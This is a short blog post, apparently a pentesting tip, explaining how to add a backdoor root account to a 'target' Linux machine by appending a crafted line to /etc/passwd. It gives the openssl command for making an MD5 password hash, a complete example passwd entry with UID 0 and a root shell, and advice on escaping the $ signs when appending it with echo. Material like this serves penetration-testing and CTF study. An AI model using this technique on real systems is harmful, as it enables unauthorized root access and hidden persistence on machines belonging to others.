Simplest way to add a root user on a target Linux machine

Vivek Kumar
Apr 15, 2022

--

If you can find a way to replace the /etc/passwd file or modify it’s contents, you can add a new root user.

I will include a screenshot from an article I found which beautifully explains the contents of the /etc/passwd file.

We can use the openssl utility to compute a hash of the given password using salt string and the MD5-based BSD password algorithm1.
openssl passwd -1 -salt [salt_value] {password}

It’s your choice whether or not to use a Salt. Any salt value can be used which need not be remembered or passed onto the target machine.

Once the key is generated, it can be appended to the /etc/passwd file in this fashion.

trump:$1$yl6IQwSi$3nNWtXvf/HLLv42i0sA/4.:0:0:trump,,,:/root:/bin/bash

{username}:{generated_key}:0:0:{username},,,:/root:/bin/bash

Add \(escape sequence) before $ while using echo to append this onto the /etc/passwd file.

--

--